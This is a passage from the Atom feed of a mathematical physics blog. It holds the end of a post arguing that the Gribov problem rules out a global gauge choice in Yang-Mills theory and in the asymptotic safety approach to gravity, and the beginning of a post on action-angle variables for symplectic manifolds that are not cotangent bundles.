  875. </annotation></semantics></math>
  876. and no global gauge choice is possible.</p>
  877.  
  878. <p>What does this mean for Yang-Mills Theory?</p>
  879.  
  880. <ul>
  881. <li>If we&#8217;re working on the lattice, then <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi><mo>=</mo><msup><mi>G</mi> <mi>N</mi></msup></mrow><annotation encoding='application/x-tex'>\mathcal{G}= G^N</annotation></semantics></math>, where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi></mrow><annotation encoding='application/x-tex'>N</annotation></semantics></math> is the number of lattice sites. We can choose <em>not</em> to fix a gauge and instead divide our answers by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>Vol</mi><mo stretchy="false">(</mo><mi>G</mi><msup><mo stretchy="false">)</mo> <mi>N</mi></msup></mrow><annotation encoding='application/x-tex'>Vol(G)^N</annotation></semantics></math>, which is finite. That is what is conventionally done.</li>
  882. <li>In perturbation theory, of course, you never see any of this, because you are just working locally on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>.</li>
  883. <li>If we&#8217;re working in the continuum, and we&#8217;re trying to do something non-perturbative, then we just have to work harder. <em>Locally</em> on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>, we can always choose a gauge (any principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>-bundle is locally-trivial). On different patches of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>, we&#8217;ll have to choose different gauges, do the path integral on each patch, and then piece together our answers on patch overlaps using partitions of unity. This sounds like a pain, but it&#8217;s really no different from what <em>anyone</em> has to do when doing integration on manifolds.</li>
  884. </ul>
  885.  
  886. <h3>Gravity</h3>
  887.  
  888. <p>The Asymptotic Freedom people want to do the path-integral over metrics and search for a <abbr title="UltraViolet">UV</abbr> fixed point. As above, they work in Euclidean signature, with <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi><mo>=</mo><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>M=S^4</annotation></semantics></math>. Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}</annotation></semantics></math> be the space of all metrics on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> the group of diffeomorphism, and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi><mo>=</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}= \mathcal{Met}/\mathcal{Diff}</annotation></semantics></math> the space of metrics on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math> modulo diffeomorphisms.</p>
  889.  
  890. <p>Pick a (fixed, but arbitrary) fiducial metric, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>S^4</annotation></semantics></math>. Any metric, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi></mrow><annotation encoding='application/x-tex'>g</annotation></semantics></math>, can be written as
  891. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>g</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>=</mo><msub><mover><mi>g</mi><mo>&#x000AF;</mo></mover> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>+</mo><msub><mi>h</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub></mrow><annotation encoding='application/x-tex'>
  892.   g_{\mu\nu} = \overline{g}_{\mu\nu}+ h_{\mu\nu}
  893. </annotation></semantics></math>
  894. They use background field gauge,</p>
  895.  
  896. <div class="numberedEq" id="e2833:bfgh"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover> <mi>&#x003BC;</mi></msup><msub><mi>h</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>&#x02212;</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>2</mn></mfrac></mstyle><msub><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover> <mi>&#x003BD;</mi></msub><mo stretchy="false">(</mo><mmultiscripts><mi>h</mi><none/> <mi>&#x003BC;</mi> <mi>&#x003BC;</mi> <none/></mmultiscripts><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\overline{\nabla}^\mu h_{\mu\nu}&#x2d;\tfrac{1}{2}\overline{\nabla}_\nu(\tensor{h}{^\mu_\mu}) = 0
  897. </annotation></semantics></math></div>
  898.  
  899. <p>where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{\nabla}</annotation></semantics></math> is the Levi-Cevita connection for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, and indices are raised and lowered using <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>. As before, (<a href="#e2833:bfgh">2</a>) defines a subspace <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi><mo>&#x02282;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}\subset  \mathcal{Met}</annotation></semantics></math>. If it happens to be true that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is everywhere transverse to the orbits of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> and meets every <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> orbit precisely once, then we can imagine doing the path integral over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> instead of over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>.</p>
  900.  
  901. <p>In addition to the <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html">other problems</a> with the asymptotic safety program (the most <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html#c049183">grievous of which</a> is that the infrared regulator used to define <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x00393;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><mover><mi>g</mi><mo>&#x000AF;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\Gamma_k(\overline{g})</annotation></semantics></math> is not <abbr title="Becchi-Rouet-Stora-Tyutin">BRST</abbr>-invariant, which means that their prescription doesn&#8217;t even give the right path-integral measure <em>locally</em> on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>), the program is saddled with the same Gribov problem that we just discussed for gauge theory, namely that there <em>is no</em> global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}\to\mathcal{B}</annotation></semantics></math>, and hence no global choice of gauge, along the lines of (<a href="#e2833:bfgh">2</a>).</p>
  902.  
  903. <p>As in the gauge theory case, let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0</annotation></semantics></math> be the metrics with no isometries<sup><a href="#GribovF3">3</a></sup>. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> acts freely on the fibers of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0\to \mathcal{B}_0</annotation></semantics></math>. Back in his 1978 paper, Singer already noted that</p>
  904.  
  905. <ol>
  906. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="0.16667em"/><mo>&#x02200;</mo><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{Met}_0)=0,\,\forall k\gt 0</annotation></semantics></math>, but</li>
  907. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> has quite complicated homotopy-type.</li>
  908. </ol>
  909.  
  910. <p>Of course, none of this matters perturbatively. When <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi></mrow><annotation encoding='application/x-tex'>h</annotation></semantics></math> is small, i.e. for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi></mrow><annotation encoding='application/x-tex'>g</annotation></semantics></math> close to <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, (<a href="#e2833:bfgh">2</a>) is a perfectly good gauge choice. But the claim of the Asymptotic Safety people is that they are doing a non-perturbative computation of the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B2;</mi></mrow><annotation encoding='application/x-tex'>\beta</annotation></semantics></math>-functional, and that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi></mrow><annotation encoding='application/x-tex'>h</annotation></semantics></math> is not assumed to be small. Just as in gauge theory, there is no global gauge choice (whether (<a href="#e2833:bfgh">2</a>) or otherwise). And that should <em>matter</em> to their analysis.</p>
  911.  
  912. <hr />
  913.  
  914. <p><strong>Note:</strong> Since someone will surely ask, let me explain the situation in the Polyakov string. There, the gauge group isn&#8217;t <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math>, but rather the larger group, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi><mo>=</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi><mo>&#x022C9;</mo><mtext>Weyl</mtext></mrow><annotation encoding='application/x-tex'>\mathcal{G}= \mathcal{Diff}\ltimes \text{Weyl}</annotation></semantics></math>. And we only do a partial gauge-fixing: we don&#8217;t demand a metric, but rather only a Weyl equivalence-class of metrics. That is, we demand a section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mtext>Weyl</mtext><mo>&#x02192;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}/\text{Weyl} \to \mathcal{Met}/\mathcal{G}</annotation></semantics></math>. And that <em>can</em> be done: in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>d</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>d=2</annotation></semantics></math>, every metric is diffeomorphic to a Weyl-rescaling of a constant-curvature metric.</p>
  915.  
  916. <hr />
  917.  
  918. <div id="GribovF1" class="footnote"><p><sup>1</sup> To get the right measure on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>, we need to use the Fadeev-Popov trick. But, as long as <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is transverse to the gauge orbits, that&#8217;s all fine, and the prescription can be found in any textbook.</p></div>
  919.  
  920. <div id="GribovF2" class="footnote"><p><sup>2</sup> For more general choice of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>, we would also have to require <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>H</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mi>M</mi><mo>,</mo><mi>&#x02124;</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>H^2(M,\mathbb{Z})=0</annotation></semantics></math>.</p></div>
  921.  
  922. <div id="GribovF3" class="footnote"><p><sup>3</sup> When <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>dim</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>dim(M)\gt 1</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0(M)</annotation></semantics></math> is dense in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}(M)</annotation></semantics></math>. But for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>dim</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>dim(M)=1</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo>=</mo><mi>&#x02205;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0=\emptyset</annotation></semantics></math>. In that case, we actually <em>can</em> choose a global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo><mo>&#x02192;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo><mo stretchy="false">/</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}(S^1) \to \mathcal{Met}(S^1)/\mathcal{Diff}(S^1)</annotation></semantics></math>. </p></div>
  923.  
  924.      </div>
  925.    </content>
  926.  </entry>
  927.  <entry>
  928.    <title type="html">Action-Angle Variables</title>
  929.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002823.html" />
  930.    <updated>2015-05-13T00:38:11Z</updated>
  931.    <published>2015-05-12T11:49:11-06:00</published>
  932.    <id>tag:golem.ph.utexas.edu,2015:%2F~distler%2Fblog%2F1.2823</id>
  933.    <summary type="text">How to generalize the construction of action-angle variables to symplectic manifolds which are not cotagent bundles?</summary>
  934.    <author>
  935.      <name>distler</name>
  936.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  937.      <email>[email protected]</email>
  938.    </author>
  939.    <category term="Physics" />
  940.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002823.html">
  941.      <div xmlns="http://www.w3.org/1999/xhtml">
  942. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  943.  
  944. <p>This semester, I taught the Graduate Mechanics course. As is often the case, teaching a subject leads you to rethink that you <em>thought</em> you understood, sometimes with surprising results.</p>
  945.  
  946. <p>The subject for today&#8217;s homily is <em>Action-Angle</em> variables.</p>
  947.  
  948. <p>Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>(\mathcal{M},\omega)</annotation></semantics></math> be a <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>n</mi></mrow><annotation encoding='application/x-tex'>2n</annotation></semantics></math>-dimensional symplectic manifold. Let us posit that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math> had a foliation by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math>-dimensional
  949. <em>Lagrangian</em> tori (a torus, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi><mo>&#x02282;</mo><mi>M</mi></mrow><annotation encoding='application/x-tex'>T\subset M</annotation></semantics></math>, is Lagrangian if <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><msub><mo stretchy="false">&#x0007C;</mo> <mi>T</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\omega|_T =0</annotation></semantics></math>). Removing a subset, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>S</mi><mo>&#x02282;</mo><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>S\subset \mathcal{M}</annotation></semantics></math>, of codimension <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>codim</mi><mo stretchy="false">(</mo><mi>S</mi><mo stretchy="false">)</mo><mo>&#x02265;</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>codim(S)\geq 2</annotation></semantics></math>, where the leaves are singular, we can assume that all of the leaves on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo><mo>=</mo><mi>&#x02133;</mi><mo>&#x0005C;</mo><mi>S</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;=\mathcal{M}\backslash S</annotation></semantics></math> are
  950. <em>smooth</em> tori of dimension <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math>.</p>
  951.  
  952. <p>The objective is to construct coordinates <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup><mo>,</mo><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\varphi^i, K_i</annotation></semantics></math> with the following properties.</p>
  953.  
  954. <ol>
  955. <li>The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> restrict to angular coordinates on the tori. In particular <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> shifts by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>&#x003C0;</mi></mrow><annotation encoding='application/x-tex'>2\pi</annotation></semantics></math> when you go around the corresponding cycle on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi></mrow><annotation encoding='application/x-tex'>T</annotation></semantics></math>.</li>
  956. <li>The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are globally-defined functions on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math> which are <em>constant</em> on each torus. </li>
  957. <li>The symplectic form <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><msub><mi>K</mi> <mi>i</mi></msub><mo>&#x02227;</mo><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\omega= d K_i\wedge d \varphi^i</annotation></semantics></math>.</li>
  958. </ol>
  959.  
  960. <p>From 1, it&#8217;s clear that it&#8217;s more convenient to work with the 1-forms <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>d\varphi^i</annotation></semantics></math>, which are single-valued (and closed, but not necessarily exact), rather than with the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> themselves. In 2, it&#8217;s rather important that the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are really
  961. <em>globally</em>-defined. In particular, an <em>integrable Hamiltonian</em> is a function <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><mi>K</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>H(K)</annotation></semantics></math>. The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math> conserved quantities which make the Hamiltonian integrable.</p>
  962.  
  963. <p>Obviously, a given foliation is compatible with infinitely many &#8220;integrable Hamiltonians,&#8221; so the existence of a foliation is the more fundamental concept.</p>
  964.  
  965. <p>All of this is totally standard.</p>
  966.  
  967. <p>What never really occurred to me is that the standard construction of action-angle variables turns out to be very closely wedded to the particular case of a cotangent bundle,
  968. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>=</mo><msup><mi>T</mi> <mo>*</mo></msup><mi>M</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}=T^*M</annotation></semantics></math>.</p>
  969.  
  970. <p>As far as I can tell, action-angle variables don&#8217;t even <em>exist</em> for foliations of more general symplectic manifolds, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math>.</p>
  971.  
  972. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  973. Any contagent bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>T</mi> <mo>*</mo></msup><mi>M</mi></mrow><annotation encoding='application/x-tex'>T^*M</annotation></semantics></math>, has a canonical 1-form, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\theta</annotation></semantics></math>, on it. The standard symplectic structure is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\omega = d\theta</annotation></semantics></math>.
  974.  
  975. The construction of the action-variables requires that we choose a homology basis, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\gamma_i</annotation></semantics></math>, for each torus, in a fashion that is locally-constant<sup><a href='#AAF1'>1</a></sup>, as we move between tori of the foliation. The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are then defined as
  976.  
  977.  
  978. <div class="numberedEq" id="e2823:Kdef"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><mfrac><mn>1</mn><mrow><mn>2</mn><mi>&#x003C0;</mi></mrow></mfrac><msub><mo>&#x0222B;</mo> <mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow></msub><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>K_i = \frac{1}{2\pi}\int_{\gamma_i} \theta
  979. </annotation></semantics></math></div>
  980.  
  981.  
  982. Note that, because the torus is Lagrangian, the values of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are independent of the particular choices of path chosen to represent <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\gamma_i</annotation></semantics></math>.
  983.  
  984. Having constructed the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math>, the closed 1-forms
  985.  
  986.  
